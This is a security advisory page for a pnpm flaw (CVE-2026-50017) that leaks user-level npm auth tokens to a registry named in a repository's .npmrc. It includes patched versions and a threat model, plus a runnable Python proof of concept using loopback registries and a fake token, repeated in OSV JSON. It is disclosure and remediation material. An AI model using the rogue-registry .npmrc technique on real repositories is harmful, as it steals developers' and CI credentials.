CVE-2026-50017: Pnpm Pnpm Binds Unscoped User-level Npm Vulnerability

MODERATE
Advisory Identifier: GHSA-cjhr-43r9-cfmw
CWE-522 CWE-200
Published
Advisory Summary

CVE-2026-50017 is a MODERATE pnpm binds unscoped user-level npm vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Pnpm libraries in the npm ecosystem. The issue involves pnpm binds unscoped user-level npm auth credentials to a repository-selected registry. Remediation is available by upgrading affected packages to version 10.34.0, 11.4.0.

CVE-2026-50017 at a Glance

CVE Identifier CVE-2026-50017
GHSA Identifier GHSA-cjhr-43r9-cfmw
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Pnpm
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-50017

To remediate this vulnerability, upgrade all affected Pnpm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pnpm fixed: 10.34.0
npm install pnpm@10.34.0
pnpm fixed: 11.4.0
npm install pnpm@11.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls pnpm

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-50017, inspect your project dependencies using npm:

npm ls pnpm

Analyze the terminal output to locate any version of Pnpm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.34.0), your application is affected.

Note: The npm ls pnpm command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Pnpm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local `.npmrc` file. In the reproduced case, the user's npm config contains a default registry and an unscoped `_authToken`. The repository does not provide a token-bearing auth line. It only sets `registry=` to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an `Authorization` header. This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used. ## Affected Behavior Observed Observed affected: - pnpm `10.33.2`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.2.1` (`next-11` dist tag at testing time): `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm view` also sends user-level unscoped `_authToken`, `_auth`, and `username` / `_password` credentials to the repository-selected registry in the local loopback replay. Control: - npm `10.9.7` rejects the same unscoped user `_authToken` configuration with `ERR_INVALID_AUTH` and does not send an `Authorization` header to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry. ## Threat Model Victim: - developer or CI job with user-level npm registry credentials configured; - runs `pnpm install`, `pnpm view`, or an equivalent pnpm metadata/restore command in a repository. Attacker: - controls repository-local package manager configuration, such as `.npmrc`; - can set `registry=` to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case. Boundary: Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry. ## Minimal Reproduction The reproducer below starts two loopback HTTP registries: - a trusted registry URL used in the isolated user `.npmrc`; - an attacker registry URL used in the repository-local `.npmrc`. The isolated user `.npmrc` contains: ```ini registry=<trusted-loopback-registry> _authToken=PR166_FAKE_REGISTRY_TOKEN ``` The repository-local `.npmrc` contains: ```ini registry=<attacker-loopback-registry> ``` The repository `package.json` depends on a toy package served by the loopback registry. The script then runs: ```text pnpm install --ignore-scripts npm install --ignore-scripts ``` ## Expected Safe Behavior pnpm should not send the user-level unscoped `_authToken` to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry. ## Observed Behavior pnpm `10.33.2`, pnpm `11.1.3`, and pnpm `11.2.1` send: ```http Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN ``` to the attacker loopback registry during install. npm `10.9.7` rejects the same config and sends no `Authorization` header. ## Security Impact This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution. ## Non-Claims This report does not claim: - remote code execution; - registry account compromise by itself; - leakage of URL-scoped tokens for a different registry; - npm CLI impact; - impact from a repository explicitly committing its own token-bearing auth line. ## Source-Level Notes In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local `.npmrc` can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice. ## Suggested Fix Direction The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials. This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth. ## Runnable Reproducer Save the following as `repro.py` and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set `PR166_PNPM_SPEC`, for example `PR166_PNPM_SPEC=11.2.1`. ```python import base64 import contextlib import hashlib import http.server import io import json import os import shutil import subprocess import sys import tarfile import tempfile import threading from pathlib import Path """Standalone loopback reproducer. It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()). """ TOKEN = "PR166_FAKE_REGISTRY_TOKEN" PACKAGE_TGZ = None class RegistryHandler(http.server.BaseHTTPRequestHandler): requests = [] def do_GET(self): self.requests.append( { "method": self.command, "path": self.path, "authorization": self.headers.get("Authorization"), } ) if self.path.endswith(".tgz"): payload = make_package_tgz() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(payload))) self.end_headers() self.wfile.write(payload) return payload = make_package_tgz() body = json.dumps( { "name": "@private/probe", "dist-tags": {"latest": "1.0.0"}, "versions": { "1.0.0": { "name": "@private/probe", "version": "1.0.0", "dist": { "tarball": f"http://127.0.0.1:{self.server.server_port}/private/@private/probe/-/probe-1.0.0.tgz", "shasum": hashlib.sha1(payload).hexdigest(), "integrity": "sha512-" + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"), }, } }, } ).encode("utf-8") self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): return @contextlib.contextmanager def registry(): handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []}) server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() try: yield server, handler.requests finally: server.shutdown() thread.join(timeout=5) server.server_close() def make_package_tgz(): global PACKAGE_TGZ if PACKAGE_TGZ is not None: return PACKAGE_TGZ bio = io.BytesIO() with tarfile.open(fileobj=bio, mode="w:gz") as tf: data = b'{"name":"@private/probe","version":"1.0.0"}\n' info = tarfile.TarInfo("package/package.json") info.size = len(data) tf.addfile(info, io.BytesIO(data)) PACKAGE_TGZ = bio.getvalue() return PACKAGE_TGZ def write_text(path, text): path.parent.mkdir(parents=True, exist_ok=True) path.write_text(text, encoding="utf-8", newline="\n") def run_install(tool, trusted_url, attacker_url): exe = shutil.which(tool) if exe is None: return {"tool": tool, "error": "missing"} cmd = [exe, "install", "--ignore-scripts"] if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"): corepack = shutil.which("corepack") if corepack is None: return {"tool": tool, "error": "corepack missing"} cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"] with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td: root = Path(td) home = root / "home" project = root / "project" home.mkdir() project.mkdir() userconfig = home / ".npmrc" write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n") write_text(project / ".npmrc", f"registry={attacker_url}\n") write_text( project / "package.json", '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n', ) env = os.environ.copy() env.update( { "HOME": str(home), "USERPROFILE": str(home), "NPM_CONFIG_USERCONFIG": str(userconfig), "npm_config_userconfig": str(userconfig), "NPM_CONFIG_CACHE": str(home / "cache"), "npm_config_cache": str(home / "cache"), "NPM_CONFIG_STORE_DIR": str(home / "store"), "npm_config_store_dir": str(home / "store"), "XDG_CACHE_HOME": str(home / "xdg-cache"), "XDG_DATA_HOME": str(home / "xdg-data"), "NO_COLOR": "1", } ) proc = subprocess.run( cmd, cwd=str(project), env=env, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=60, ) return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]} def summarize(tool, result, attacker_requests): auth_hits = [r for r in attacker_requests if r.get("authorization")] return { "tool": tool, "result": result, "attacker_auth_hits": auth_hits, "attacker_request_count": len(attacker_requests), } def tool_version(tool): exe = shutil.which(tool) if exe is None: return "missing" cmd = [exe, "--version"] if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"): corepack = shutil.which("corepack") if corepack is None: return "corepack missing" cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"] proc = subprocess.run( cmd, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=20, ) return proc.stdout.strip() or f"exit-{proc.returncode}" def main(): pnpm_version = tool_version("pnpm") npm_version = tool_version("npm") print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}") if pnpm_version == "missing" or npm_version == "missing": print("CHECK environment_has_pnpm_and_npm result=fail") return 1 print("ENVIRONMENT_READY") overall = [] with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests): trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/" attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/" before = len(attacker_requests) pnpm_result = run_install("pnpm", trusted_url, attacker_url) pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:]) overall.append(pnpm_summary) before = len(attacker_requests) npm_result = run_install("npm", trusted_url, attacker_url) npm_summary = summarize("npm", npm_result, attacker_requests[before:]) overall.append(npm_summary) print(json.dumps(overall, indent=2)) pnpm_leaked = bool(overall[0]["attacker_auth_hits"]) npm_leaked = bool(overall[1]["attacker_auth_hits"]) print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}") print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}") print( "COMMAND_EXIT_CODE=" f"pnpm:{overall[0]['result'].get('returncode', 'missing')} " f"npm:{overall[1]['result'].get('returncode', 'missing')}" ) if pnpm_leaked and not npm_leaked: print("CHECK pnpm_leaked=true npm_control_held=true result=pass") print("VULNERABLE_BEHAVIOR_CONFIRMED") print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD") print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED") return 0 if pnpm_leaked and npm_leaked: print("CHECK pnpm_leaked=true npm_control_held=false result=fail") print("RESULT_BOTH_TOOLS_SENT_AUTH") return 2 print("CHECK pnpm_leaked=false result=fail") print("RESULT_NO_PNPM_AUTH_LEAK") return 1 if __name__ == "__main__": sys.exit(main()) ``` ## Abbreviated Expected Output ```text TARGET_VERSION=pnpm 11.2.1; npm 10.9.7 ENVIRONMENT_READY ... OBSERVED_PNPM_AUTH_HITS=3 OBSERVED_NPM_AUTH_HITS=0 COMMAND_EXIT_CODE=pnpm:0 npm:1 CHECK pnpm_leaked=true npm_control_held=true result=pass VULNERABLE_BEHAVIOR_CONFIRMED RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED ``` Reporter: JUNYI LIU

CVE-2026-50017 Affected Pnpm Versions

2 component(s)
Fixed Versions:
10.34.011.4.0
Product / Package Ecosystem Affected Versions Fixed Version
pnpm
npm
< 10.34.0
10.34.0
pnpm
npm
≥ 11.0.0
< 11.4.0
11.4.0

References

Frequently Asked Questions

What is CVE-2026-50017?
CVE-2026-50017 is a security vulnerability in Pnpm involving pnpm binds unscoped user-level npm auth credentials to a repository-selected registry under CWE-522: Insufficiently Protected Credentials.
Which Pnpm versions are affected?
Affected versions include releases prior to 10.34.0, 11.4.0 across affected packages: pnpm.
What version fixes CVE-2026-50017?
Upgrading to 10.34.0, 11.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pnpm affected?
Yes, pnpm is affected in releases prior to 10.34.0, 11.4.0. Upgrade your dependency to 10.34.0, 11.4.0 or later.
What CWE is associated with CVE-2026-50017?
CVE-2026-50017 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check npm dependencies for CVE-2026-50017?
Run the dependency tree command: 'npm ls pnpm'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cjhr-43r9-cfmw",
  "modified" : "2026-06-26T22:59:25Z",
  "published" : "2026-06-26T22:59:25Z",
  "aliases" : [ "CVE-2026-50017" ],
  "summary" : "pnpm binds unscoped user-level npm auth credentials to a repository-selected registry",
  "details" : "## Summary\n\npnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local `.npmrc` file.\n\nIn the reproduced case, the user's npm config contains a default registry and an unscoped `_authToken`. The repository does not provide a token-bearing auth line. It only sets `registry=` to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an `Authorization` header.\n\nThis was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.\n\n## Affected Behavior Observed\n\nObserved affected:\n\n- pnpm `10.33.2`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.\n- pnpm `11.1.3`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.\n- pnpm `11.2.1` (`next-11` dist tag at testing time): `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry.\n- pnpm `11.1.3`: `pnpm view` also sends user-level unscoped `_authToken`, `_auth`, and `username` / `_password` credentials to the repository-selected registry in the local loopback replay.\n\nControl:\n\n- npm `10.9.7` rejects the same unscoped user `_authToken` configuration with `ERR_INVALID_AUTH` and does not send an `Authorization` header to the  repository-selected registry.\n- URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.\n\n## Threat Model\n\nVictim:\n\n- developer or CI job with user-level npm registry credentials configured;\n- runs `pnpm install`, `pnpm view`, or an equivalent pnpm metadata/restore command in a repository.\n\nAttacker:\n\n- controls repository-local package manager configuration, such as `.npmrc`;\n- can set `registry=` to a registry endpoint they control;\n- does not need to provide a token-bearing auth line for the strong case.\n\nBoundary:\n\nCredentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.\n\n## Minimal Reproduction\n\nThe reproducer below starts two loopback HTTP registries:\n\n- a trusted registry URL used in the isolated user `.npmrc`;\n- an attacker registry URL used in the repository-local `.npmrc`.\n\nThe isolated user `.npmrc` contains:\n\n```ini\nregistry=<trusted-loopback-registry>\n_authToken=PR166_FAKE_REGISTRY_TOKEN\n```\n\nThe repository-local `.npmrc` contains:\n\n```ini\nregistry=<attacker-loopback-registry>\n```\n\nThe repository `package.json` depends on a toy package served by the loopback registry. The script then runs:\n\n```text\npnpm install --ignore-scripts\nnpm install --ignore-scripts\n```\n\n## Expected Safe Behavior\n\npnpm should not send the user-level unscoped `_authToken` to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.\n\n## Observed Behavior\n\npnpm `10.33.2`, pnpm `11.1.3`, and pnpm `11.2.1` send:\n\n```http\nAuthorization: Bearer PR166_FAKE_REGISTRY_TOKEN\n```\n\nto the attacker loopback registry during install. npm `10.9.7` rejects the same config and sends no `Authorization` header.\n\n## Security Impact\n\nThis can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.\n\n## Non-Claims\n\nThis report does not claim:\n\n- remote code execution;\n- registry account compromise by itself;\n- leakage of URL-scoped tokens for a different registry;\n- npm CLI impact;\n- impact from a repository explicitly committing its own token-bearing auth\n  line.\n\n## Source-Level Notes\n\nIn pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local `.npmrc` can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.\n\n## Suggested Fix Direction\n\nThe conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped\ncredentials.\n\nThis needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.\n\n## Runnable Reproducer\n\nSave the following as `repro.py` and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set `PR166_PNPM_SPEC`, for example `PR166_PNPM_SPEC=11.2.1`.\n\n```python\nimport base64\nimport contextlib\nimport hashlib\nimport http.server\nimport io\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tarfile\nimport tempfile\nimport threading\nfrom pathlib import Path\n\n\n\"\"\"Standalone loopback reproducer.\n\nIt creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()).\n\"\"\"\n\nTOKEN = \"PR166_FAKE_REGISTRY_TOKEN\"\nPACKAGE_TGZ = None\n\n\nclass RegistryHandler(http.server.BaseHTTPRequestHandler):\n    requests = []\n\n    def do_GET(self):\n        self.requests.append(\n            {\n                \"method\": self.command,\n                \"path\": self.path,\n                \"authorization\": self.headers.get(\"Authorization\"),\n            }\n        )\n        if self.path.endswith(\".tgz\"):\n            payload = make_package_tgz()\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/octet-stream\")\n            self.send_header(\"Content-Length\", str(len(payload)))\n            self.end_headers()\n            self.wfile.write(payload)\n            return\n\n        payload = make_package_tgz()\n        body = json.dumps(\n            {\n                \"name\": \"@private/probe\",\n                \"dist-tags\": {\"latest\": \"1.0.0\"},\n                \"versions\": {\n                    \"1.0.0\": {\n                        \"name\": \"@private/probe\",\n                        \"version\": \"1.0.0\",\n                        \"dist\": {\n                            \"tarball\": f\"http://127.0.0.1:{self.server.server_port}/private/@private/probe/-/probe-1.0.0.tgz\",\n                            \"shasum\": hashlib.sha1(payload).hexdigest(),\n                            \"integrity\": \"sha512-\"\n                            + base64.b64encode(hashlib.sha512(payload).digest()).decode(\"ascii\"),\n                        },\n                    }\n                },\n            }\n        ).encode(\"utf-8\")\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        return\n\n\n@contextlib.contextmanager\ndef registry():\n    handler = type(\"RecordingRegistryHandler\", (RegistryHandler,), {\"requests\": []})\n    server = http.server.ThreadingHTTPServer((\"127.0.0.1\", 0), handler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    try:\n        yield server, handler.requests\n    finally:\n        server.shutdown()\n        thread.join(timeout=5)\n        server.server_close()\n\n\ndef make_package_tgz():\n    global PACKAGE_TGZ\n    if PACKAGE_TGZ is not None:\n        return PACKAGE_TGZ\n    bio = io.BytesIO()\n    with tarfile.open(fileobj=bio, mode=\"w:gz\") as tf:\n        data = b'{\"name\":\"@private/probe\",\"version\":\"1.0.0\"}\\n'\n        info = tarfile.TarInfo(\"package/package.json\")\n        info.size = len(data)\n        tf.addfile(info, io.BytesIO(data))\n    PACKAGE_TGZ = bio.getvalue()\n    return PACKAGE_TGZ\n\n\ndef write_text(path, text):\n    path.parent.mkdir(parents=True, exist_ok=True)\n    path.write_text(text, encoding=\"utf-8\", newline=\"\\n\")\n\n\ndef run_install(tool, trusted_url, attacker_url):\n    exe = shutil.which(tool)\n    if exe is None:\n        return {\"tool\": tool, \"error\": \"missing\"}\n    cmd = [exe, \"install\", \"--ignore-scripts\"]\n    if tool == \"pnpm\" and os.environ.get(\"PR166_PNPM_SPEC\"):\n        corepack = shutil.which(\"corepack\")\n        if corepack is None:\n            return {\"tool\": tool, \"error\": \"corepack missing\"}\n        cmd = [corepack, f\"pnpm@{os.environ['PR166_PNPM_SPEC']}\", \"install\", \"--ignore-scripts\"]\n\n    with tempfile.TemporaryDirectory(prefix=f\"pr166-min-{tool}-\") as td:\n        root = Path(td)\n        home = root / \"home\"\n        project = root / \"project\"\n        home.mkdir()\n        project.mkdir()\n        userconfig = home / \".npmrc\"\n\n        write_text(userconfig, f\"registry={trusted_url}\\n_authToken={TOKEN}\\n\")\n        write_text(project / \".npmrc\", f\"registry={attacker_url}\\n\")\n        write_text(\n            project / \"package.json\",\n            '{\"name\":\"pr166-probe\",\"version\":\"1.0.0\",\"dependencies\":{\"@private/probe\":\"1.0.0\"}}\\n',\n        )\n\n        env = os.environ.copy()\n        env.update(\n            {\n                \"HOME\": str(home),\n                \"USERPROFILE\": str(home),\n                \"NPM_CONFIG_USERCONFIG\": str(userconfig),\n                \"npm_config_userconfig\": str(userconfig),\n                \"NPM_CONFIG_CACHE\": str(home / \"cache\"),\n                \"npm_config_cache\": str(home / \"cache\"),\n                \"NPM_CONFIG_STORE_DIR\": str(home / \"store\"),\n                \"npm_config_store_dir\": str(home / \"store\"),\n                \"XDG_CACHE_HOME\": str(home / \"xdg-cache\"),\n                \"XDG_DATA_HOME\": str(home / \"xdg-data\"),\n                \"NO_COLOR\": \"1\",\n            }\n        )\n\n        proc = subprocess.run(\n            cmd,\n            cwd=str(project),\n            env=env,\n            text=True,\n            encoding=\"utf-8\",\n            errors=\"replace\",\n            stdout=subprocess.PIPE,\n            stderr=subprocess.STDOUT,\n            timeout=60,\n        )\n        return {\"tool\": tool, \"returncode\": proc.returncode, \"output_tail\": proc.stdout[-2000:]}\n\n\ndef summarize(tool, result, attacker_requests):\n    auth_hits = [r for r in attacker_requests if r.get(\"authorization\")]\n    return {\n        \"tool\": tool,\n        \"result\": result,\n        \"attacker_auth_hits\": auth_hits,\n        \"attacker_request_count\": len(attacker_requests),\n    }\n\n\ndef tool_version(tool):\n    exe = shutil.which(tool)\n    if exe is None:\n        return \"missing\"\n    cmd = [exe, \"--version\"]\n    if tool == \"pnpm\" and os.environ.get(\"PR166_PNPM_SPEC\"):\n        corepack = shutil.which(\"corepack\")\n        if corepack is None:\n            return \"corepack missing\"\n        cmd = [corepack, f\"pnpm@{os.environ['PR166_PNPM_SPEC']}\", \"--version\"]\n    proc = subprocess.run(\n        cmd,\n        text=True,\n        encoding=\"utf-8\",\n        errors=\"replace\",\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        timeout=20,\n    )\n    return proc.stdout.strip() or f\"exit-{proc.returncode}\"\n\n\ndef main():\n    pnpm_version = tool_version(\"pnpm\")\n    npm_version = tool_version(\"npm\")\n    print(f\"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}\")\n    if pnpm_version == \"missing\" or npm_version == \"missing\":\n        print(\"CHECK environment_has_pnpm_and_npm result=fail\")\n        return 1\n\n    print(\"ENVIRONMENT_READY\")\n    overall = []\n    with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests):\n        trusted_url = f\"http://127.0.0.1:{trusted.server_port}/private/\"\n        attacker_url = f\"http://127.0.0.1:{attacker.server_port}/private/\"\n\n        before = len(attacker_requests)\n        pnpm_result = run_install(\"pnpm\", trusted_url, attacker_url)\n        pnpm_summary = summarize(\"pnpm\", pnpm_result, attacker_requests[before:])\n        overall.append(pnpm_summary)\n\n        before = len(attacker_requests)\n        npm_result = run_install(\"npm\", trusted_url, attacker_url)\n        npm_summary = summarize(\"npm\", npm_result, attacker_requests[before:])\n        overall.append(npm_summary)\n\n    print(json.dumps(overall, indent=2))\n\n    pnpm_leaked = bool(overall[0][\"attacker_auth_hits\"])\n    npm_leaked = bool(overall[1][\"attacker_auth_hits\"])\n    print(f\"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}\")\n    print(f\"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}\")\n    print(\n        \"COMMAND_EXIT_CODE=\"\n        f\"pnpm:{overall[0]['result'].get('returncode', 'missing')} \"\n        f\"npm:{overall[1]['result'].get('returncode', 'missing')}\"\n    )\n    if pnpm_leaked and not npm_leaked:\n        print(\"CHECK pnpm_leaked=true npm_control_held=true result=pass\")\n        print(\"VULNERABLE_BEHAVIOR_CONFIRMED\")\n        print(\"RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD\")\n        print(\"RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED\")\n        return 0\n    if pnpm_leaked and npm_leaked:\n        print(\"CHECK pnpm_leaked=true npm_control_held=false result=fail\")\n        print(\"RESULT_BOTH_TOOLS_SENT_AUTH\")\n        return 2\n    print(\"CHECK pnpm_leaked=false result=fail\")\n    print(\"RESULT_NO_PNPM_AUTH_LEAK\")\n    return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n## Abbreviated Expected Output\n\n```text\nTARGET_VERSION=pnpm 11.2.1; npm 10.9.7\nENVIRONMENT_READY\n...\nOBSERVED_PNPM_AUTH_HITS=3\nOBSERVED_NPM_AUTH_HITS=0\nCOMMAND_EXIT_CODE=pnpm:0 npm:1\nCHECK pnpm_leaked=true npm_control_held=true result=pass\nVULNERABLE_BEHAVIOR_CONFIRMED\nRESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD\nRESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED\n```\n\nReporter: JUNYI LIU",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.34.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "pnpm"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "11.0.0"
      }, {
        "fixed" : "11.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pnpm/pnpm/security/advisories/GHSA-cjhr-43r9-cfmw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50017"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pnpm/pnpm"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-522" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T22:59:25Z",
    "nvd_published_at" : "2026-06-25T18:16:39Z"
  }
}